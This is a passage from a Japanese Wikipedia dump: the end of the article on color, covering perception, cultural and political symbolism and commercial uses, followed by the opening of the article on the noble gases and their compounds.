また、知覚した色をどのような色名で呼ぶかは学習によって決定される事柄であり、例えば緑色を見て二人の人間が異なる知覚を得たとしても、二人ともそれを「緑」と呼ぶので、色覚の違いは表面化しない。
色覚の違いが表面化するのは、複数の色の区別に困難が生じるなどの場合である。大多数の人間とはっきり異なる判断をおこすものの[[色覚特性]]を指して、その生理については[[色覚異常]]、機能については[[色覚障害]]と呼ぶ。
いわゆる[[バリアフリー]]と呼ばれる動向において、色覚異常の者に対する配慮が必要であるという意見がある。他方で、眼科学においては、1型色覚および2型色覚に代表される多くのケースでは、日常生活に大きな支障をきたしていないという考え方が定説とされている<ref>[https://www.skk-net.com/health/me/c01_13.html 目と健康 No,13 特集:色覚の異常]</ref>。
[[標準化団体 (コンピュータと通信)|標準化団体]]である[[World Wide Web Consortium|W3C]] は、[[HyperText Markup Language|HTML]] の色使いは色覚異常に配慮したコントラストを保つべきだとして綱領を出している<ref>[http://www.kanzaki.com/docs/html/color-check 色の組み合わせチェック - 読みやすい前景色と背景色]</ref>。HTML は 16,777,216 色(2<sup>3×8</sup> 色)が表現出来るが、環境に依って見え方は左右される。256 色環境で [[Microsoft Windows|Windows]] と [[Macintosh]] に共通する 216 色(6<sup>3</sup> 色)の事を[[ウェブカラー]]と言い、この 216 色は見え方が環境の違いに左右され難いため、使用が推奨されている。
== 色の作用、効果 ==
*人間には感知し易い色と知覚し難い色がある。色の差の認識されやすさは色の[[視認性]]と呼ばれる。色が人の注意を引きやすく目立つ度合いを、色の[[誘目性]]と呼ぶ。一般に彩度が高い方が視認性と誘目性は高くなるとされる。寒色系よりも暖色系のほうが誘目性が高い。一般に、色相が離れているほどコントラストが強くなるため、視認性が高まる。
*色は人の奥行き感や距離の判断に影響を与える。暖色系の色は実際よりも飛び出して見える[[進出色]]、寒色系の色は引っ込んで見える[[後退色]]である傾向がある。一般に、彩度が高い方は進出し、低ければ後退して見え、無彩色よりも有彩色が進出して見える。さらに、背景の色との関連もあり、背景が明るい場合は暗いほど、背景が暗ければ明るいほど、進出して見える。
*隣接する色との対比で見え方が異なってくることを[[同時対比]]という。明度対比、彩度対比、色相対比、補色による彩度対比、[[色陰現象]]などがある。反対に、隣接する色に近似して見える現象を[[同化現象]](フォン=べゾルト効果)という。面積比が大きい場合、線が細い場合にその効果は大きくなる。
*配色により、重なっている部分を透けているように見せることができる。これは、[[透明視]](セロファン効果)と言われる。
*同じ色でも面積が大きくなると明るく彩度が高く見え、暗い色はより暗く感じる。また、線の太さが同じでも、明度を落とすと細い線のように見える。
*実際より大きく見える色を「膨張色」、小さく見える「収縮色」という。赤や黄など[[暖色]]系の色および白色は膨張色で、他の色より知覚し易い。日本の児童の帽子やランドセルカバーが黄色なのは、知覚し易い色を採用する事で自動車事故を減らす狙いがあるからである。反対に、青や黒などの[[寒色]]系の色は収縮色である。実際に黒色の自動車は他の色に比べて事故が多く、そのためバスやタクシーの車体は黒色を避けているものが多い。{{疑問点|date=2015年5月}}また、囲碁の[[碁石]]も黒石と白石が同じ大きさの場合は黒石の方が小さく見えてしまうので、黒石を一回り大きく作っている。
*人間が暗闇で見え難い色は、茶・黒・青・紫であり、見え易い色は、黄・白・オレンジの順番である。
*乳幼児は赤色を強く認識するので、乳幼児の玩具は赤色を基調に作られている。老人性白内障に罹ると水晶体が黄色く濁り、波長の短い青色緑色系統の色は黒っぽく見えるようになる<ref name="toli-feb3">{{Wayback|url=http://www.toli.co.jp/housetopics/main_topic_feb3.html|title=インテリアセミナーレポート「高齢者の視界と色の視認性」(東リ)(1999.02)|date=20101019111930}}</ref>。このため老人はガスコンロの青い炎が見え難く、火傷や火事を起こし易い。
*安定した[[元素]]である[[炭素]]を[[素材]]とする[[墨]]や[[複写機]]の[[トナー]]の[[複写]]や[[コピー]]で描いた文字、図形や絵画などは[[紫外線]]に対して耐光性があり、また[[空気]]中や[[水]]中の[[酸素]]による[[酸化]]によって色褪せ、退色や変色することは少ない。[[木簡]]の文字はその典型例である。他方で、[[玩具]]や[[アニメ (日本のアニメーション作品)|アニメ]]、[[美術]]のように、[[生理学|生理]]的な弁別が容易で単純な色を多用する[[分野]]・領域がある。多くの[[印刷]]や[[塗装]]と異なり、明るく鮮やかな色を多用するとか、色素の濃度を高くしたり塗料を厚く塗ったりして、色の飽和度を高くしたり、色素の存在比を大きくして生理的な弁別の容易さを高めるなどした結果、変わった色になっている場合が多い。[[絵具]]などは[[消費]]量が少なく、使用法が厳密でない上に[[消費者]]によって随分異なる為、[[原料]]の品質が低く、色が良くない<ref group="注">牛骨や石膏などの美術教材が良くないことや、市販の写真用のレンズが産業用レンズより良くないことに似ている。</ref>。[[ターナー]]や[[フィンセント・ファン・ゴッホ|ゴッホ]]、[[ピカソ]]や[[シャガール]]など著名な画家達が[[色覚異常]]だったとの説もある。
== 文化における色 ==
[[File:Colored pencils chevre.jpg|thumb|200px|[[色鉛筆]]。<br />[[美術]]において色は重要な要素である。]]
[[File:Netflix Panasonic remote controller 01.jpg|thumb|200px|[[データ放送#地上デジタル放送でのデータ放送|データ放送]]のコンテンツ選択時や[[双方向番組#デジタル放送の双方向機能|双方向番組]]の視聴者投票などで用いる、4色のボタン]]
一般に、色は、[[生活]]や[[文化 (代表的なトピック)|文化]]、[[産業]]や[[商業]]、[[デザイン]]や[[視覚芸術]]の重要な要素であり、ある「様式」「作風」「文化」の特徴の一つに、特定の色の使用、特定の色の組み合わせ、色と結び付いた意味などが含まれている場合も多い。
=== 色名 ===
{{Main|色名}}
[[色名]]とは色の名のことである。基本色名、系統色名、固有色名などがある。あらゆる[[文化 (代表的なトピック)|文化]]には、[[RGB]] や [[CMY]] と同一視出来ない、それぞれの文化的な'''[[原色]]'''がある。それはその文化の背骨となっている[[言語]]の中での、最も古い[[色名]]からたどれる。そのような色名は'''基本色名'''と呼ばれる。特別な名前が付けられた色や、また名前の付けられていないような色もあるが、それらは全て基本色名で言い換える事ができる。例えば、「蘇芳色(すおういろ)」は基本色名の「赤」と言い換えることができるし、空の色や海の色などをまとめて「青」と呼べる。
=== 色に対する一般的な印象 ===
{{出典の明記|section=1|date=2016年7月}}
色彩は様々な感情を表現したり、事物を連想させることがある。国や文化などによって違いはあるが、一般的な印象は次のようなものである<ref>{{Cite book|和書
|author=日本色彩研究所
|title=色の百科事典
|publisher=[[丸善]]
|year=2005
|ISBN=978-4621075425
|pages=124-127
}}</ref><ref>{{Cite book|和書
|author=清野恒介
|title=色彩用語事典
|publisher=[[新紀元社]]
|year=2009
|ISBN=978-4775307113
|pages=136-137
}}</ref>。しかし、今日では[[喪服]]は黒が一般的だが江戸時代までは白が一般的だったように、時代や文化による影響も大きい。
; [[白]]
: [[善]]、[[雪]]、[[無]]、[[保守]]、[[真理]]、[[清潔]]、[[純粋]]、[[無罪]]、[[無知]]、[[賛成]]など
; [[黒]]
: [[夜]]、[[権威]]、[[悪]]、[[死]]、[[防衛]]、[[武勇]]、[[汚濁]]、有罪、[[炭]]、[[富裕層]]など
; [[茶色|栗]]([[茶色]])
: [[土壌|土]]、[[豊穣]]、[[糞]]、[[執着]]、[[田舎]]、[[秋]]など
; [[赤]]
: [[血]]、[[生命]]、[[火]]、[[左翼]]、[[革命]]、[[力]]、[[愛]]、[[女]]、[[情熱]]、[[危険]]、[[熱暑]]、[[勇気]]、[[攻撃]]、[[敵]]、[[電気]]、[[太陽]]([[日本]])など
; [[橙色|橙]]
: [[温暖]]、[[wikt:快活|快活]]、[[陽気]]、[[幸福]]、[[誇り]]、[[野心]]、[[忍耐]]など
; [[黄色|黄]]
: [[太陽]]、[[穀類]]、[[電子]]、[[金]]、[[注意]]、[[臆病]]、[[活発]]、[[明快]]、[[乾燥]]、[[地下]]、[[王位]]、[[色欲]]など
; [[緑]]
: [[植物]]、[[自然]]、[[安全]]、[[健康]]、[[希望]]、[[幼稚]]、[[平和]]、[[新鮮]]、[[湿潤]]、[[嫉妬]]([[英語圏]])、[[エコロジー]]など
; [[青]]
: [[水]]、[[冷静]]、[[知性]]、[[内面]]、[[右翼]]、[[悠久]]、[[未来]]、[[誠実]]、[[味方]]、[[防御]]、[[貧乏]]、[[憂鬱]]、[[寒冷]]、[[涙]]、[[男]]、[[月]]、[[安全]]など
; [[紫]]
: [[王位]]、[[高貴]]、[[正義]]、[[優雅]]、[[神秘]]、[[節制]]など
; [[金色|金]]
: [[神]]、[[宝]]、[[光]]、[[生]]など
; [[灰色|灰]]
: [[中立]]、[[不潔]]、[[陰鬱]]、[[不変]]、[[沈静]]など
青は男、赤は女を意味するという認識は日本のみならず世界の国々が有しているという調査結果がある<ref>[https://www.excite.co.jp/news/article/E1309861537448/?p=2 男は青。女は赤。これって決まりごと?(Excite Bit コネタ) - エキサイトニュース] 反面、「男は青、女は赤」というイメージは、万国共通らしい。武蔵野大学のある教授が世界20カ国、約5000人を対象に「男女のイメージカラー」について調査したところ、「男は青、女は赤」という回答が最も多く得られたというのだ。</ref>。
職種、階層、貧富を言い表す際にも色が用いられることがある。例:[[ホワイトカラー]](事務職)・[[ブルーカラー]](肉体労働職)、ブルーブラッド(貴族。首筋が日焼けせず静脈が見える人間)・[[レッドネック]]([[白人]]の肉体労働者。屋外労働で首筋が赤く日焼けしていることから。アメリカ南部者)・[[ホワイトトラッシュ]](貧乏な白人。ただしレッドネックが白人の男を指すのに対し、こちらは女を限定することもある)
=== 政治における色 ===
[[政治]]の世界においては、色が特定の政治的な立場を現すことがよくある。
==== 赤 ====
{{See also|赤旗|赤い星}}
[[赤]]は[[左翼]]・[[社会主義]]・[[共産主義]]を形容する色としてよく使われ、党派的にも容共で[[政府]]・[[資本家]]に反く側を表す。一説には、[[1848年革命]]や[[パリ・コミューン]]の時に、[[革命]]軍が掲げていた[[三色旗]]が[[血]]に染まって赤くなったから、左翼的立場を形容するのに赤を使うようになったとされる。
<gallery>
ファイル:Flag of the Soviet Union.svg|[[ソビエト連邦の国旗]]
ファイル:Flag of Vietnam.svg|[[ベトナム]]の国旗
ファイル:Flag of the Communist Party of Germany.svg|[[ドイツ共産党]]の党旗
ファイル:Symbol of jcp.jpg|[[日本共産党]]の党章
</gallery>
{{-}}
==== 白 ====
[[白]]は[[右翼]]・[[反共主義]]・[[王党派]]・復古勢力を指す色として使われる。反共で[[政府]]・[[資本家]]に親しい側を指す。[[フランス]]の王党派が使い始めたのが最初で、フランスの[[ブルボン家]]の白百合紋章に由来する。以来、[[反革命]]軍は[[白旗]]を目印として、右翼的立場を形容するのに白を使うようになった。[[白系ロシア人]]、[[白色テロ]]など。
<gallery>
ファイル:Flag of the Kingdom of France (1814-1830).svg|[[フランス復古王政]]の[[フランスの国旗|国旗]]
ファイル:Flag of Royalist France.svg|フランス[[王党派]]の旗
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{{-}}
==== 黒 ====
[[黒]]は[[アナキズム]]を[[象徴]]する色として使われる。[[日本]]では、[[天皇]]の臣下を意味する色として利用される事があった。また、しばしば[[ファシズム]]の象徴として使われる。[[ベニート・ムッソリーニ]]の[[ファシスト]]党は、[[制服]]の色として使った。
<gallery>
ファイル:Flag of the National Fascist Party (PNF).svg|[[ファシスト党]]の党旗
ファイル:Anarchy-symbol.svg|無政府主義の象徴黒色のサークルA
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{{-}}
==== 青 ====
[[青]]は[[保守主義]]を形容する。
==== 黄 ====
[[黄色]]は[[労資協調]]主義や[[自由主義]]・[[リベラル]]派を形容する。[[御用組合]]は俗に「黄色組合」とも言われ、黄色は容共かつ政府・資本家に親しい党派を表す。
==== 緑 ====
[[緑]]は[[環境保護]]派や「[[緑の党]]」を形容する色として広く使われている。イスラムを象徴する色としても利用される。
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ファイル:Bündnis 90 - Die Grünen Logo.svg|[[同盟90/緑の党]]の党旗
ファイル:Flag of Saudi Arabia.svg|[[サウジアラビアの国旗]]
ファイル:Flag of Libya (1977-2011).svg|[[カダフィ政権]]期の[[リビアの国旗]]
ファイル:Flag of Hamas.svg|[[ハマース]]の党旗
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{{-}}
==== 茶 ====
[[茶色]]や褐色は[[独裁]]主義や[[ナチズム]]を形容する。これは、[[国家社会主義ドイツ労働者党|ナチ党]]の[[突撃隊]](SA)の制服にちなむ。また、茶色の代わりに、赤と黒の組み合わせで示される場合もある(例:[[クメール・ルージュ]])。
==== 複数の色の組み合わせ ====
国旗には、[[アイルランドの国旗]]などのように、各色が意味を持っており、その組み合わせと配置で国家の在り方を示している場合がある。
また、[[レインボーフラッグ]]のように、複数の色を組み合わせること自体で政治的主張を表わす場合もある。
=== 商業における色 ===
日本では、[http://www.jafca.org/ JAPAN FASHION COLOR ASSOCIATION (JAFCA)] が毎年[[流行]]色を決めている。
==== 自動車 ====
[[自動車]]の外板色の好みには、その土地の[[気候]][[風土]]や[[文化 (代表的なトピック)|文化]]が関わっており、[[自動車産業|自動車メーカー]]では仕向地ごとの色の設定や生産割合を細かく決めている。近年はグローバル化が進んで均されて来てはいるが、地域的な差は[[高級車]]では少なく、[[大衆車]]で顕著であった。車種やカテゴリによっても傾向に違いはあるが、各仕向地の大まかな嗜好としては、
* [[北アメリカ|北米]] - 濃色、淡色を問わずメタリックが好まれ、赤や黄色などのソリッドカラーも常に一定の需要がある。日欧のメーカーは、自国内向けに設定が無い場合でも、北米向けには濃緑、濃赤、濃茶、水色、ベージュ、シャンパンゴールドなどを設定してきた。また、数は少ないが、ソリッドピンクに代表される、突飛な[[ビバリーヒルズ]]カラーの存在も特徴である。
* [[ヨーロッパ|欧州]] - 近年はグローバル化で地域的な特徴は薄れつつあるが、以前は大衆車を中心に、鮮やかなものから渋い色合いまで、多様なソリッドカラーが用いられていた。
* [[オーストラリア]]、[[中東]] - [[スポーツ・ユーティリティ・ビークル|SUV]]、[[オフロード|クロスカントリー]]カー、[[ピックアップトラック]]を中心にサンドベージュと白が好まれ、中東には[[オプション]]で[[フロントグリル]]や[[エンブレム]]([[バッジ]])にゴールド調[[めっき]]のものが用意されていることも特徴である。
* [[日本]] - クラスやカテゴリの別無く白の需要が高い。
自動車業界では[[自動車産業|自動車メーカー]]の都合や[[広告代理店]]の仕掛け、[[塗料]]メーカーの技術開発などで、外板色の流行が繰り返されてきた。日本の販売統計(発売後の[[プレスリリース]]には、購入層別、グレード別などの他、色別の販売台数比率も掲載されている。)では、[[バブル景気|バブル期]]などの好景気には[[真珠|パール]]、濃色系の[[雲母|マイカ]]やメタリック、鮮やかなソリッドカラーを中心に非常に多様となり、ツートーンカラーの設定も多いが、不景気になると白と銀(灰色系メタリック)に偏る傾向があり、メーカーも白、銀、紺などに色数を絞る。この時期には[[スポーツカー]]などの[[趣味]]性が強く、特徴的な色が設定されることの多い車種も、生産を減らすか、廃止に追いやられる場合が多い。一方、[[軽自動車]]や[[コンパクトカー]]のうち、[[可処分所得]]の高い女性層に向けた車種では、景気動向に影響されながらも(色の追加と廃止を頻繁に繰り返し、全体の色数を減らしてコストを抑える)多様な外板色が設定されている。
[[塗料]]としての性質は、[[炭素|カーボン]]を含む黒は耐久性・耐候性に優れ、[[塗装#焼付け塗装|焼付け]]時の熱吸収が良く、乾燥・硬化が速い([[フォード・モデルT]]を参照)。[[顔料]]の粒子が大きい白はそれに次ぐ耐久性・耐候性を持つ。隠蔽力もこの順に高く、ソリッドカラーの場合、これらの色は低コストでもあり、[[社用車|公用車や社用車]]、商用車にこれらの色が多い理由にもなっている。[[ハイソカー]]ブームで人気となったスーパーホワイトは、当初高額車のみに設定されていた。この場合専用の白い下地塗料を用意する必要はあるが、車両価格に対し、塗料と[[塗装]]のコストの割合は低くなり、[[収益|利益]]率が増す。
逆に黄、橙、赤は隠蔽力が低く、発色を良くする場合には専用のサーフェーサーを用いる。これらの色は耐候性も低く、退色が目立ちやすい。
==== 鉄道 ====
{{Main2|日本国内の事情|日本の鉄道ラインカラー一覧}}
{{Main2|[[日本国有鉄道]]の塗色規定|国鉄色}}
[[ユニバーサルデザイン]]の一環として、[[鉄道路線]]ごとに色を分けた[[日本の鉄道ラインカラー一覧|ラインカラー]]の導入が増えている。
[[鉄道車両|車体]]色はその[[鉄道事業者|鉄道会社]]を表すものであったが、維持コスト低減に有利な[[オールステンレス車両|ステンレス車両]]の普及や[[アルミニウム合金製の鉄道車両|アルミ車両]]の無塗装化が進み、多くの車両が[[フィルム]]帯を貼付けるのみとなっている。この帯色はラインカラーの表示を兼ねる場合もある。
==== 玩具 ====
* [[玩具]]業界では、黒い玩具は売れない、と言われていたが、[[ダッコちゃん人形]]がそれを覆した。
* [[コンシューマーゲーム]]業界では、黒の据え置き[[ハードウェア|ハード]]は売れないと言われていたが、[[PlayStation 2]]がそれを覆した。
* [[レゴブロック]]は、子供が[[兵器]]を模して遊ばないようにと、[[迷彩]]色に多い緑のブロックを極力作らなかった<ref>[http://dot.asahi.com/dot/2015060500020.html レゴに緑が少ない理由とは? レゴブロックの“深イイ”世界 〈dot.〉] dot.ドット 朝日新聞出版</ref>。
==== 企業・大学・音楽グループ ====
企業や団体などの組織を象徴する色を[[コーポレートカラー]]と言う。大学(その他学校法人)を象徴する色を[[スクールカラー]]と言う。音楽活動を行うグループのメンバー個々に定義づけられた色のことを[[メンバーカラー]]と言う。
== 色・色名一覧 ==
{{main|色名一覧}}
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{Reflist|group="注"}}
=== 出典 ===
{{Reflist|2}}
== 参考文献 ==
{{Refbegin}}
* 『広辞苑 第六版』 岩波書店 2008.1. ISBN 400080121X ISBN 978-4000801218
* 『岩波 理化学辞典』 岩波書店 1998.2 ISBN 4000800906 ISBN 978-4000800907
* 『色彩科学事典』 日本色彩学会 (編集) 朝倉書店 1991.10 ISBN 425410104X ISBN 978-4254101041
* 『新編色彩科学ハンドブック』(第2版) 日本色彩学会 東京大学出版会 1998.06 ISBN 4130611127 ISBN 978-4130611121
* 『色彩学概説』 千々岩 英彰 東京大学出版会 2001.4 ISBN 4130820850 ISBN 978-4130820851
* 『色彩用語事典』 日本色彩学会 (編集) 朝倉書店 2003.3 ISBN 4130611208 ISBN 978-4130611206
{{Refend}}
== 関連項目 ==
{{Wiktionary}}
{{Commonscat|Colors}}
* [[光]]
* [[スペクトル]]
* [[色覚]]
* [[視感度]]
* [[色立体]]
* [[不可能な色]]
* [[吸光光度法]]
* [[色の現象的分類]]
* [[The dress]] - 人によってドレスの色の見え方が違う写真
* [[パーソナルカラー]]
* [[パティナ]](古色) - 年月が経過し色褪せ、もしくは錆びが出た色合い
== 外部リンク == <!-- {{Cite web}} -->
{{Wikidata property}}
* [http://www.sikiken.co.jp/colors/index.html 日本色研事業株式会社] いろのはなし
* [http://www.daicolor.co.jp/rd/color/ 大日精化工業株式会社 色彩知識][[表色系]]、色彩用語の説明。
* {{Wayback|url=http://konicaminolta.jp/instruments/colorknowledge|title=コニカミノルタセンシング株式会社 色色雑学|date=20090103091622}}
* [http://www.mmjp.or.jp/rwicp/zenka.html 脇色彩写真研究所 RW色彩写真全科]
* [http://www.colordic.org/ WEB色見本 原色大辞典]
* [http://www.color-sample.com/ 色サンプル(色見本と配色)]
* [http://www.color-guide.com/index.shtml 色見本の館]
* {{Kotobank|2=ブリタニカ国際大百科事典 小項目事典}}
* {{Britannica|science|color|color (optics)}}
* {{CRD|2000027301|色について調べるには(市川市中央図書館調べ方案内)|[[市川市中央図書館]]}}
{{Color topics}}
{{色の分類}}
{{Normdaten}}
{{DEFAULTSORT:いろ}}
[[Category:色|*]]
[[Category:光]]
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[[Category:心理学]] | 2003-04-16T12:08:03Z | 2023-11-22T21:03:27Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E8%89%B2 |
6,808 | 第18族元素 | 第18族元素(だいじゅうはちぞくげんそ)とは、元素周期表における第18族に属する元素、すなわちヘリウム・ネオン・アルゴン・クリプトン・キセノン・ラドン・オガネソンを指す族名である。なお、これらのうちで安定した核種を持つのは、第1周期元素のヘリウムから第5周期元素のキセノンまでであり、ラドンとオガネソンは放射性元素である。貴ガス(きガス、英: noble gas)と呼ばれる。英語表記の変更があった2005年までは希ガス・稀ガス(きガス、英: rare gas)と呼ばれていた。
第18族元素は、原子軌道の最外殻のうち比較的エネルギーの低い軌道であるs軌道とp軌道が閉殻となっているため化学的に不活性であり、しばしば単原子分子として存在する。なお、He、Ne以外の貴ガス元素に関しては最外殻には空きがあるため(例えばArは3d軌道が空いている)、狭義には閉殻であるとは言えない(ただし前述の通り、sとpの副電子殻はそれぞれ閉殻である)。かつて第18族元素には化合物が知られていなかったために、化学反応を起こさないという意味で不活性ガス(inert gas)類と呼ばれた。しかし、化学的な不活性さの度合いは、第1周期元素のヘリウムを筆頭として、周期が進むにつれて弱くなる。安定核種が存在する最後の周期である第5周期のキセノンに化合物が見つかったことを皮切りに、現在では他の第18族元素にも化合物が見つかっており、完全に不活性というわけではない。
希ガス・稀ガス(rare gas)の名称は「稀(まれ)な」に由来する。これもかつて化学的分離や抽出が困難であった時代の名称の名残である。カリウム40の崩壊によりアルゴンが地球の大気に比較的多く含まれているため、この名称は不正確である。貴ガス(noble gas)の名称は、貴金属(noble metal)に対応して反応性が低いことに由来するもので、1898年にヒューゴ・エルトマンがドイツ語でEdelgasと名付けたのを訳したものである。日本の高等学校化学の教科書では、全ての出版社が「希ガス」と表記(一部で「貴ガス」と併記)しているが、英語ではIUPAC(国際純正・応用化学連合)の2005年勧告を受けてnoble gasの表記がされている。これについて日本化学会は2015年3月17日に、今後は日本国外の高校教科書が例外なく使用している「noble gas」に合わせて、「貴ガス」表記に変更するよう提案している。
ヘリウムを除いて、常圧かつ凝固点以下で弱いファンデルワールス結合による結晶(単原子分子による分子性結晶)を形成する。
貴ガスの性質を研究する中で、既に水和物やクラスレート型の化合物が見つかってはいた。しかしながら、これらの化合物においては水素結合の網目構造の中に貴ガス原子が閉じ込められているだけであり、狭義の化合物とは呼べない。貴ガス原子が化学結合をしている最初の貴ガス化合物は、1962年5月、カナダのブリティッシュコロンビア大学のネイル・バートレットとD・H・ローマンによって合成されたヘキサフルオロ白金酸キセノン (XePtF6) である。酸素分子 O2 を酸化するヘキサフルオロ白金酸の反応から類推し、O2 (12.2 eV) とほぼ同じイオン化エネルギーを持つキセノン (12.13 eV) を酸化できるのではと考えたことが成功の鍵であった。8月には XeF4 が、同年末は XeF2 と XeF6 も合成された。
1963年には、放電を用いてクリプトンの化合物 (KrF2) が合成され、また同年にラドンの化合物も合成された。
ハロゲン化物としては、キセノンあるいは、クリプトンのフッ化物が知られている。2000年にはアルゴンの安定な化合物、アルゴンフッ素水素化物(HArF) も報告された。
酸化物としては、六フッ化キセノン XeF6 または四フッ化キセノン XeF4 が水と反応した三酸化キセノン XeO3 が知られる。
2017年には国際研究チームがヘリウムの化合物としては初のヘリウム化二ナトリウムの合成に成功した。なおネオンの化合物で発見されたものはない。
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| 第18族元素(だいじゅうはちぞくげんそ)とは、元素周期表における第18族に属する元素、すなわちヘリウム・ネオン・アルゴン・クリプトン・キセノン・ラドン・オガネソンを指す族名である。なお、これらのうちで安定した核種を持つのは、第1周期元素のヘリウムから第5周期元素のキセノンまでであり、ラドンとオガネソンは放射性元素である。貴ガスと呼ばれる。英語表記の変更があった2005年までは希ガス・稀ガスと呼ばれていた。 | {| class="infobox" style="background-color: white; text-align: center"
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'''第18族元素'''(だいじゅうはちぞくげんそ)とは、元素[[周期表]]における第18族に属する[[元素]]、すなわち[[ヘリウム]]・[[ネオン]]・[[アルゴン]]・[[クリプトン]]・[[キセノン]]・[[ラドン]]を指す[[元素の族|族]]名である。なお、これらのうちで安定した[[核種]]を持つのは、[[第1周期元素]]のヘリウムから[[第5周期元素]]のキセノンまでであり、ラドンとオガネソンは[[放射性同位体|放射性元素]]である<ref>{{Cite web |url=https://www.ies.or.jp/publicity_j/mini/2007-06.pdf |title=出典 |publisher=環境科学技術研究所 |date=2008-01-31 |accessdate=2021-11-17}}</ref>。'''貴ガス'''(きガス、{{lang-en-short|noble gas}})と呼ばれる。英語表記の変更があった[[2005年]]までは'''希ガス'''・'''稀ガス'''(きガス、{{lang-en-short|rare gas}})と呼ばれていた。
== 概要 ==
[[ファイル:Edelgase 1.jpg|thumb|right|320px|電球に封入した貴ガスの発光。]]
第18族元素は、[[原子軌道]]の最外殻のうち比較的エネルギーの低い軌道であるs軌道とp軌道が[[閉殻]]となっているため化学的に不活性であり、しばしば[[単原子分子]]として存在する<ref>{{Cite web |url=https://fromhimuka.com/chemistry/82.html |title=出典 |publisher=高校化学と生物の要点と勉強法 |accessdate=2021-11-17}}</ref>。なお、He、Ne以外の貴ガス元素に関しては最外殻には空きがあるため(例えばArは3d軌道が空いている)、狭義には閉殻であるとは言えない(ただし前述の通り、sとpの副電子殻はそれぞれ閉殻である)。かつて第18族元素には[[化合物]]が知られていなかったために、化学反応を起こさないという意味で'''[[不活性気体|不活性ガス]]'''({{en|inert gas}})類と呼ばれた。しかし、化学的な不活性さの度合いは、第1周期元素のヘリウムを筆頭として、[[元素の周期|周期]]が進むにつれて弱くなる。安定核種が存在する最後の周期である第5周期の[[キセノン]]に化合物が見つかったことを皮切りに、現在では他の第18族元素にも化合物が見つかっており、完全に不活性というわけではない。
'''希ガス・稀ガス'''(rare gas)の名称は「稀(まれ)な」に由来する{{efn|「希ガス」の表記は、「稀」が[[当用漢字]]に含まれなかったことによる[[同音の漢字による書きかえ|書き換え]]である。}}。これもかつて化学的分離や抽出が困難であった時代の名称の名残である。[[カリウム40]]の崩壊によりアルゴンが[[地球の大気]]に比較的多く含まれている{{efn|体積で0.94 %、質量で1.3 %<ref>{{cite encyclopedia|encyclopedia=[[Encyclopædia Britannica]]|year=2008|title=argon|url=http://www.britannica.com/eb/article-9009382/argon}}</ref>。体積比では同じく大気中に含まれる[[二酸化炭素]]の30倍近い}}ため、この名称は不正確である。'''貴ガス'''(noble gas)の名称は、[[貴金属]](noble metal)に対応して反応性が低いことに由来するもので、1898年に[[ヒューゴ・エルトマン]]がドイツ語で{{lang|de|Edelgas}}と名付けたのを訳したものである<ref>{{cite journal|journal=[[Science (journal)|Science]]|year=1901|volume=13|pages=268–270|last=Renouf|first=Edward|title=Noble gases|doi=10.1126/science.13.320.268|issue=320|bibcode= 1901Sci....13..268R }}</ref>。日本の高等学校化学の教科書では、全ての出版社が「希ガス」と表記(一部で「貴ガス」と併記)しているが、英語ではIUPAC(国際純正・応用化学連合)の2005年勧告を受けてnoble gasの表記がされている。これについて[[日本化学会]]は2015年3月17日に、今後は日本国外の高校教科書が例外なく使用している「noble gas」に合わせて、「貴ガス」表記に変更するよう提案している<ref>{{Cite press release|和書|url=http://www.chemistry.or.jp/news/doc/kotogakko-kagakuyogo2015.pdf|title=高等学校化学で用いる用語に関する提案(1)|publisher=日本化学会|date=2015-03-17|accessdate=2015-10-16}}</ref>。
ヘリウムを除いて、常圧かつ[[凝固点]]以下で弱い[[ファンデルワールス力#ファンデルワールス結合|ファンデルワールス結合]]による[[結晶]](単原子分子による分子性結晶)を形成する。
== 化合物 ==
{{main2|第18族元素の化合物|貴ガス化合物}}
貴ガスの性質を研究する中で、既に[[水和物]]や[[クラスレート]]型の化合物が見つかってはいた。しかしながら、これらの化合物においては[[水素結合]]の網目構造の中に貴ガス原子が閉じ込められているだけであり、狭義の化合物とは呼べない。貴ガス原子が化学結合をしている最初の[[貴ガス化合物]]は、[[1962年]]5月、[[カナダ]]の[[ブリティッシュコロンビア大学]]のネイル・バートレットとD・H・ローマンによって合成された[[ヘキサフルオロ白金酸キセノン]] (XePtF<sub>6</sub>) である<ref>Bartlett, N. ''Proc. Chem. Soc.'' '''1962''', 218.</ref>。[[酸素]][[分子]] O<sub>2</sub> を[[酸化]]する[[ヘキサフルオロ白金酸]]の反応から類推し、O<sub>2</sub> (12.2 [[電子ボルト|eV]]) とほぼ同じ[[イオン化]]エネルギーを持つキセノン (12.13 eV) を酸化できるのではと考えたことが成功の鍵であった。8月には XeF<sub>4</sub> が、同年末は XeF<sub>2</sub> と XeF<sub>6</sub> も合成された。
[[1963年]]には、<!--ルドルフ・ホッペは--要出典-->[[放電]]を用いてクリプトンの化合物 (KrF<sub>2</sub>) が合成され<ref>MacKenzie, D. R. ''Science'' '''1963''', 141, 1171. {{doi|10.1126/science.141.3586.1171}}</ref>、また同年にラドンの化合物も合成された。
[[ハロゲン化物]]としては、[[キセノン]]あるいは、[[クリプトン]]の[[フッ化物]]が知られている。[[2000年]]にはアルゴンの安定な化合物、[[アルゴンフッ素水素化物]](HArF) も報告された<ref>Khriachtchev, L.; Pettersson, M.; Runeberg, N.; Lundell, J.; Räsänen, M. ''Nature'' '''2000''', 406, 874. {{doi|10.1038/35022551}}</ref>。
[[酸化物]]としては、[[六フッ化キセノン]] XeF<sub>6</sub> または[[四フッ化キセノン]] XeF<sub>4</sub> が[[水]]と反応した[[三酸化キセノン]] XeO<sub>3</sub> が知られる。
[[2017年]]には国際研究チームがヘリウムの化合物としては初の[[ヘリウム化二ナトリウム]]の合成に成功した<ref>{{Cite web|和書|url=http://scienceminestrone.blog.fc2.com/blog-entry-1121.html
|title=ヘリウムの高圧化合物「ヘリウム化二ナトリウム」の合成に成功 - エビ風
|accessdate=2020-05-04}}</ref>。なお[[ネオン]]の化合物で発見されたものはない。
== 利用 ==
* [[真空管]]の中にこれらの気体を充填し、放電を行うと、気体の種類によって様々な色の光を発する。この性質は[[ネオン管]]([[ネオンサイン]])や[[殺菌灯|消毒ランプ]]などに利用される。
